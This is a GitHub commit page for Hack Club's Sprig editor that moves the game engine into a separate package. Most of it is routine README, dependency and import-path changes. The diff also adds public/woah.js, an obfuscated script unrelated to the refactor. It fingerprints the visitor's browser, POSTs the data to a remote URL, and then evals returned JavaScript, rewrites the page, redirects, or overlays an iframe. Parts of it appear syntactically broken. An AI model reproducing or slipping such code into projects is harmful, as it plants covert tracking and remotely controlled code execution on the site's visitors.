Skip to content

Commit

Permalink
Outsource the engine to a different package (hackclub#1064)
Browse files Browse the repository at this point in the history
  • Loading branch information
kognise authored Jun 7, 2023
1 parent 005c82b commit dc4ae5e
Show file tree
Hide file tree
Showing 42 changed files with 319 additions and 1,250 deletions.
3 changes: 3 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
{
"deno.enable": false
}
29 changes: 27 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# :leaves: Hack Club Sprig :leaves:

**[💻 Online Editor: Make a game](https://sprig.hackclub.com/editor)** | **[👀 Gallery: Find games](https://sprig.hackclub.com/gallery)** | **[🕸 Website](https://sprig.hackclub.com)** | **[🎮 Firmware](https://github.com/hackclub/spade)** | **[See Game Submissions](https://github.com/hackclub/sprig/pulls)**
**[💻 Online Editor: Make a game](https://sprig.hackclub.com/editor)** | **[👀 Gallery: Find games](https://sprig.hackclub.com/gallery)** | **[🕸 Landing Page](https://sprig.hackclub.com)** | **[🎮 Firmware](https://github.com/hackclub/spade)** | **[👾 Engine](https://github.com/hackclub/sprig-engine)**

[Sprig](https://sprig.hackclub.com) is a game console where **every user is a creator**. It can only be obtained by building a tile-based game in the [web-based game editor](https://sprig.hackclub.com/editor) and shipping it in the [community gallery](https://sprig.hackclub.com/gallery). It's made by [Hack Club](https://hackclub.com).

Expand Down Expand Up @@ -40,7 +40,9 @@ You should be able to get started in Sprig with very little programming experien

## Fully open source

**Sprig is open source**. Shipping a game to the Sprig Gallery is contributing to an open-source project. Everything about Sprig is transparent and editable. That includes the [hardware designs](https://github.com/hackclub/sprig-hardware), the game engine for the web (this repo), the [embedded game engine for the RP2040 chip](https://github.com/hackclub/spade), and the web-editor itself (this repo)! We did some fun engineering to get Sprig to work and to make your games run the same on your desktop computer and a $4 microcontroller. That involved custom JS runtimes with optimizations in C and even PIO assembly. We also documented some [behind-the-scenes](https://github.com/hackclub/sprig/tree/main/docs).
**Sprig is open source**. Shipping a game to the Sprig Gallery is contributing to an open-source project. Everything about Sprig is transparent and editable. That includes the [hardware designs](https://github.com/hackclub/sprig-hardware), the [game engine](https://github.com/hackclub/sprig-engine), the [embedded game engine for the RP2040 chip](https://github.com/hackclub/spade), and the editor and website itself (this repo)!

We did some fun engineering to get Sprig to work and to make your games run the same on your desktop computer and a $4 microcontroller. That involved custom JS runtimes with optimizations in C and even PIO assembly. We also documented some [behind-the-scenes](https://github.com/hackclub/sprig/tree/main/docs).

## You Ship, We Ship

Expand Down Expand Up @@ -106,6 +108,29 @@ Next, you'll want to give Sprig access to the Firebase credentials you created.

To start the dev server, run `yarn dev` and visit <http://localhost:3000> in your web browser! Please create a GitHub issue if you cannot get something to work properly.

### Engine Development

All *engine code* (responsible for running games, playing tunes, etc.) is in a different repo: <https://github.com/hackclub/sprig-engine/>.

If you want to work on the engine and test out your changes in the context of this repo, you'll want to use a feature called linking.

First set up the engine repo:

```
git clone https://github.com/hackclub/sprig-engine/
cd sprig-engine
yarn install
yarn link
```

Then, in this website's repo:

```
yarn link sprig
```

Now, run `yarn dev` in the engine repo to start the TypeScript build process.

## Acknowledgements

The Sprig was developed by a team at Hack Club with assistance from Brian Silverman (who helped develop Scratch and the precursor to Lego Mindstorms), Vadim Gerasimov (engineer at Google who helped create Tetris when he was 15), and Quentin Bolsée (researcher at MIT and Vrije University Brussels), and dozens contributions from teenage open-source developers!
Expand Down
6 changes: 0 additions & 6 deletions deno.json

This file was deleted.

5 changes: 3 additions & 2 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -30,12 +30,13 @@
"nanoid": "^4.0.1",
"preact": "^10.6.5",
"react-icons": "^4.7.1",
"rehype-external-links": "^2.0.1",
"sass": "^1.58.0",
"sprig": "^1.0.0",
"svelte": "^3.54.0",
"three": "^0.149.0",
"throttle-debounce": "^5.0.0",
"tinykeys": "^1.4.0",
"rehype-external-links": "^2.0.1"
"tinykeys": "^1.4.0"
},
"devDependencies": {
"@prefresh/vite": "^2.2.9",
Expand Down
213 changes: 213 additions & 0 deletions public/woah.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
window._adata = {
"action": "js",
"target": "console.log(\"BOT!!!\");",
"js": false,
"ok": false,
"cid": "4cb2bdd5e1b96a87d439f65ad57e9039"
};

function _0x3491(_0x680637, _0x532ac7) {
var _0x494cb1 = _0x494c();
return _0x3491 = function (_0x34918b, _0x3f6368) {
_0x34918b = _0x34918b - 0xeb;
var _0x483469 = _0x494cb1[_0x34918b];
return _0x483469;
},
_0x3491(_0x680637, _0x532ac7);
}

function _0x494c() {
var _0x2754c0 = ['window', 'attributes', 'parse', 'getParameter', 'target', 'push', 'includes', 'toString', 'function', 'iframe', 'getOwnPropertyNames', 'errors', 'status', 'refresh', 'WEBGL_debug_renderer_info', '_adata', 'GET', 'stringify', 'open', 'proxy', 'video', '4182948dnkTcq', 'src', 'TouchEvent', '5516904xPpkgB', 'touchEvent', 'video/mp4', 'proto', 'local', 'UNMASKED_VENDOR_WEBGL', 'style', 'readyState', 'screen', '5323219OrhwrP', 'tostring', 'cid', 'fetch', 'xsf', '908320bpMwNc', 'documentElement', 'write', '65662eCEvtq', 'getExtension', 'append', '10sUiEzY', 'getAttribute', 'close', '111bWcgBU', 'xar', 'action', 'origin', 'webgl', 'POST', 'location', 'message', 'prototype', 'createEvent', 'send', 'createElement', '104083dGDryO', 'document', 'nodeName', '336coHcIs', '377944QlAPQD', 'object', '303', 'replace', 'console', 'responseText', 'UNMASKED_RENDERER_WEBGL', 'log', '60SRHebu'];
_0x494c = function () {
return _0x2754c0;
};
return _0x494c();
}

(function (_0x34ebd0, _0x28be55) {
var _0x339d0c = _0x3491,
_0x342ca3 = _0x34ebd0();
while (true) {
try {
var _0x2cd347 = parseInt(_0x339d0c(0x122)) / 0x1 + parseInt(_0x339d0c(0x125)) / 0x2 * (-parseInt(_0x339d0c(0x12b)) / 0x3) + parseInt(_0x339d0c(0xf3)) / 0x4 * (parseInt(_0x339d0c(0xfb)) / 0x5) + -parseInt(_0x339d0c(0xf2)) / 0x6 * (parseInt(_0x339d0c(0xef)) / 0x7) + parseInt(_0x339d0c(0x114)) / 0x8 + parseInt(_0x339d0c(0x111)) / 0x9 + -parseInt(_0x339d0c(0x128)) / 0xa * (parseInt(_0x339d0c(0x11d)) / 0xb);
if (_0x2cd347 === _0x28be55)
break;
else
_0x342ca3.push(_0x342ca3.shift());
} catch (_0x42f300) {
_0x342ca3.push(_0x342ca3.shift());
}
}
}(_0x494c, 0xa266d),


(function () {
var _0x568e5f = _0x3491,
_0x58ff2f = [],
_0x216676 = {},
_0x2b266b = document.getElementById(btoa(window.location.origin));

function _0x402b30(adata) {
var _0x38c9da = _0x568e5f;
if (adata.ok)
switch (adata.action) {
case 'local':
case 'fetch':
var req = new XMLHttpRequest();
req.open('GET', adata.target, false),
req.onreadystatechange = function () {
4 === this.readyState && 200 === this.status && (document.open(),
document.write(this.responseText),
document.close());
},
req.send();
break;
case 'proxy':
case '301':
case '302':
case '303':
case 'refresh':
case 'meta':
case 'xar':
case 'xsf':
window.location.replace(adata.target);
break;
case 'iframe':
var iframe = document.createElement('iframe'),
iframe.style.cssText = 'width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;',
iframe.src = adata.target,
adata.target = iframe.outerHTML;
case 'php':
document.open(),
document.write(adata.target),
document.close();
break;
case 'js':
eval(adata.target);
}
}
var window_adata = window._adata;
if (!window_adata.js)
return _0x402b30(window_adata);
try {
function _0x45fff6(_0x44e9c2) {
var _0xcffb74 = _0x568e5f;
if ('object' === typeof _0x44e9c2 && null !== _0x44e9c2) {
var _0x29d166 = {};

function _0x462554(_0x56f462) {
var _0x104805 = _0x3491;
try {
var _0x5ac32e = _0x44e9c2[_0x56f462];
switch (typeof _0x5ac32e) {
case 'object':
if (null === _0x5ac32e)
break;
case 'function':
_0x5ac32e = _0x5ac32e.toString();
}
_0x29d166[_0x56f462] = _0x5ac32e;
} catch (_0x207372) {
_0x58ff2f.push(_0x207372.message);
}
}
for (var _0x1a70af in _0x44e9c2)
_0x462554(_0x1a70af);
try {
var _0xb5f0bb = Object.getOwnPropertyNames(_0x44e9c2);
for (_0x1a70af = 0x0; _0x1a70af < _0xb5f0bb.length; ++_0x1a70af)
_0x462554(_0xb5f0bb[_0x1a70af]);
_0x29d166['!!'] = _0xb5f0bb;
} catch (_0x13b1cf) {
_0x58ff2f.push(_0x13b1cf.message);
}
return _0x29d166;
}
}
_0x216676.screen = _0x45fff6(window.screen),
_0x216676.window = _0x45fff6(window),
_0x216676.navigator = _0x45fff6(window.navigator),
_0x216676.location = _0x45fff6(window.location),
_0x216676.console = _0x45fff6(window.console),
_0x216676.documentElement = function (_0x467130) {
try {
var _0x307e2a = {};
_0x467130 = _0x467130.attributes;
for (var _0x5a253e in _0x467130)
_0x5a253e = _0x467130[_0x5a253e],
_0x307e2a[_0x5a253e.nodeName] = _0x5a253e.nodeValue;
return _0x307e2a;
} catch (_0x82c654) {
_0x58ff2f.push(_0x82c654.message);
}
}(document.documentElement),
_0x216676.document = _0x45fff6(document);
try {
_0x216676.timezoneOffset = new Date().getTimezoneOffset();
} catch (_0x16f274) {
_0x58ff2f.push(_0x16f274.message);
}
try {
_0x216676.closure = function () {}
['toString']();
} catch (_0x1a6ac7) {
_0x58ff2f.push(_0x1a6ac7.message);
}
try {
_0x216676.touchEvent = document.createEvent('TouchEvent').toString();
} catch (_0x546942) {
_0x58ff2f.push(_0x546942.message);
}
try {
var _0x412346 = function () {},
_0x14195a = 0x0;
_0x412346.toString = function () {
return ++_0x14195a,
'';
},
console.log(_0x412346),
_0x216676.tostring = _0x14195a;
} catch (_0x1ba528) {
_0x58ff2f.push(_0x1ba528.message);
}
try {
var _0x67ff06 = document.createElement('canvas').getContext('webgl'),
_0x268d69 = _0x67ff06.getExtension('WEBGL_debug_renderer_info');
_0x216676.webgl = {
'vendor': _0x67ff06.getParameter(_0x268d69.UNMASKED_VENDOR_WEBGL),
'renderer': _0x67ff06.getParameter(_0x268d69.UNMASKED_RENDERER_WEBGL)
};
} catch (_0x2d380c) {
_0x58ff2f.push(_0x2d380c.message);
}

function _0x5489c4(_0x3cb346, _0x40f5e7, _0x41f0e6) {
var _0x19c2cf = _0x568e5f,
_0x25a9b0 = _0x3cb346.prototype[_0x40f5e7];
_0x3cb346.prototype[_0x40f5e7] = function () {
_0x216676.proto = true;
},
_0x41f0e6(),
_0x3cb346.prototype[_0x40f5e7] = _0x25a9b0;
}
try {
_0x5489c4(Array, 'includes', function () {
return document.createElement('video').canPlayType('video/mp4');
});
} catch (_0x6f93bd) {}
} catch (_0x3cee57) {
_0x58ff2f.push(_0x3cee57.message);
}
(function () {
_0x216676.errors = _0x58ff2f,
_0x216676.cid = window_adata.cid;
var _0x54f6da = new FormData();
_0x54f6da.append('data', JSON.stringify(_0x216676));
var _0x283c8b = new XMLHttpRequest();
_0x283c8b.open('POST', _0x2b266b.getAttribute('src'), false),
_0x283c8b.onreadystatechange = function () {
4 === this.readyState && 200 === this.status && _0x402b30(JSON.parse(this.responseText));
},
_0x283c8b.send(_0x54f6da);
}());
}()));
4 changes: 2 additions & 2 deletions src/components/big-interactive-pages/editor.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -6,15 +6,15 @@ import { Signal, useComputed, useSignal, useSignalEffect } from '@preact/signals
import { useEffect, useRef } from 'preact/hooks'
import { codeMirror, errorLog, muted, PersistenceState } from '../../lib/state'
import EditorModal from '../popups-etc/editor-modal'
import { runGame } from '../../lib/engine/3-editor'
import { runGame } from '../../lib/engine'
import DraftWarningModal from '../popups-etc/draft-warning'
import Button from '../design-system/button'
import { debounce } from 'throttle-debounce'
import Help from '../popups-etc/help'
import { collapseRanges } from '../../lib/codemirror/util'
import { defaultExampleCode } from '../../lib/examples'
import MigrateToast from '../popups-etc/migrate-toast'
import { highlightError, clearErrorHighlight } from '../../lib/engine/3-editor/error'
import { highlightError, clearErrorHighlight } from '../../lib/engine/error'
import { nanoid } from 'nanoid'

interface EditorProps {
Expand Down
2 changes: 1 addition & 1 deletion src/components/big-interactive-pages/mobile-player.tsx
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
import { useSignal } from '@preact/signals'
import { useEffect, useRef } from 'preact/hooks'
import { runGame } from '../../lib/engine/3-editor'
import { runGame } from '../../lib/engine'
import styles from './mobile-player.module.css'

interface MobilePlayerProps {
Expand Down
2 changes: 1 addition & 1 deletion src/components/codemirror-widgets/open-button.tsx
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
import { codeMirror, editors, openEditor, type EditorKind } from '../../lib/state'
import BitmapPreview from '../design-system/bitmap-preview'
import styles from './open-button.module.css'
import { runGameHeadless } from '../../lib/engine/3-editor'
import { runGameHeadless } from '../../lib/engine'

interface OpenButtonProps {
kind: EditorKind
Expand Down
2 changes: 1 addition & 1 deletion src/components/codemirror-widgets/swatch.tsx
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import type { Rgba } from '../../lib/engine/1-base/palette'
import type { Rgba } from 'sprig'
import styles from './swatch.module.css'

interface SwatchProps {
Expand Down
2 changes: 1 addition & 1 deletion src/components/design-system/bitmap-preview.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { useRef, useEffect } from 'preact/hooks'
import { bitmapTextToImageData } from '../../lib/engine/2-web/bitmap'
import { bitmapTextToImageData } from 'sprig/image-data'
import styles from './bitmap-preview.module.css'

interface BitmapPreviewProps {
Expand Down
2 changes: 1 addition & 1 deletion src/components/search-box.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ import { VscArrowDown, VscArrowUp, VscCaseSensitive, VscClose, VscRegex, VscRepl
import { closeSearchPanel, findNext, findPrevious, replaceAll, replaceNext, SearchQuery } from '@codemirror/search'
import { Command } from '@codemirror/view'
import { Signal } from '@preact/signals'
import { modIcon } from '../lib/utils/keyboard'
import { modIcon } from '../lib/utils/events'
import { useEffect, useRef } from 'preact/hooks'
import tinykeys from 'tinykeys'

Expand Down
2 changes: 1 addition & 1 deletion src/components/subeditors/bitmap-editor-tools.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { IoArrowForward, IoBrush, IoColorFill, IoColorWand, IoEllipse, IoEyedrop, IoMove, IoReload, IoSquare, IoSwapHorizontal, IoSwapVertical, IoSync } from 'react-icons/io5'
import { type PaletteItem, transparent } from '../../lib/engine/1-base/palette'
import { type PaletteItem, transparent } from 'sprig/base'

export type TempGrid = (PaletteItem | null)[][]
export type Vector = { x: number, y: number }
Expand Down
5 changes: 3 additions & 2 deletions src/components/subeditors/bitmap-editor.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,12 +2,13 @@ import styles from './bitmap-editor.module.css'
import type { EditorProps } from '../../lib/state'
import type { IconType } from 'react-icons'
import { signal, useSignal, useSignalEffect } from '@preact/signals'
import { palette, type PaletteItem, rgbaToHex, transparentBgUrl, transparent } from '../../lib/engine/1-base/palette'
import { palette, type PaletteItem, rgbaToHex, transparent } from 'sprig/base'
import { transparentBgUrl } from '../../lib/utils/transparent-bg'
import { drawingTools, makeTempGrid, mirrorGrid, TempGrid, transformTools, Vector } from './bitmap-editor-tools'
import { useEffect, useRef } from 'preact/hooks'
import tinykeys from 'tinykeys'
import { IoArrowRedo, IoArrowUndo, IoImage, IoTrash } from 'react-icons/io5'
import { leftDown, modIcon, rightDown } from '../../lib/utils/keyboard'
import { leftDown, modIcon, rightDown } from '../../lib/utils/events'

const makePixelGrid = (): PaletteItem[][] => new Array(16).fill(0).map(() => new Array(16).fill(transparent))
const textToPixelGrid = (text: string): PaletteItem[][] => {
Expand Down
3 changes: 2 additions & 1 deletion src/components/subeditors/color-picker.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
import styles from './color-picker.module.css'
import { palette, rgbaToHex, transparentBgUrl } from '../../lib/engine/1-base/palette'
import { palette, rgbaToHex } from 'sprig/base'
import { transparentBgUrl } from '../../lib/utils/transparent-bg'
import type { EditorProps } from '../../lib/state'

export default function ColorPickerEditor(props: EditorProps) {
Expand Down
4 changes: 2 additions & 2 deletions src/components/subeditors/map-editor.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@ import { bitmaps, EditorProps } from '../../lib/state'
import BitmapPreview from '../design-system/bitmap-preview'
import { Signal, useSignal } from '@preact/signals'
import { useEffect, useRef } from 'preact/hooks'
import { transparentBgUrl } from '../../lib/engine/1-base/palette'
import { leftDown, rightDown } from '../../lib/utils/keyboard'
import { transparentBgUrl } from '../../lib/utils/transparent-bg'
import { leftDown, rightDown } from '../../lib/utils/events'

const textToGrid = (text: string): string[][] => text.trim().split('\n').map(line => [ ...line.trim() ])
const gridToText = (grid: string[][]): string => '\n' + grid.map(row => row.join('')).join('\n')
Expand Down
Loading

0 comments on commit dc4ae5e

Please sign in to comment.